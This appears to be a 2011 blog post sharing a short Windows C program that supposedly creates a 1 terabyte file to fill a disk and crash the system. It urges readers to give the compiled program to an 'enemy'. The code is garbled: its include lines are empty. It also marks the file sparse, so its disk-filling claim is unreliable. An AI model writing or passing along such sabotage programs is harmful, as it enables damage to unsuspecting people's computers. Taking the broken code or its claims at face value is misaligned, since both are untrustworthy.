Pages

Sunday, February 27, 2011

C program 2 Create 1 Terabyte File

Guyz enjoy..
i made 1 c program to create 1terabyte file...it wil load all in ur hard disk...so wil create system crash.....


Compile it..and give da exe file to ur enemy

====================

#define _WIN32_WINNT 0x0500
#include
#include
#include //Dev C++ if use
int main(int argc, char* argv[])
{


HANDLE h = CreateFile("geek.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

DWORD dw;
DeviceIoControl(h, FSCTL_SET_SPARSE, NULL, 0, NULL, 0, &dw, NULL);

LONG lDist = 4095;
SetFilePointer(h, 0, &lDist, FILE_BEGIN);
SetEndOfFile(h);

CloseHandle(h);
system("PAUSE");
return 0;
}
=====================
compile it wid any CPP compiler

0 comments:

Post a Comment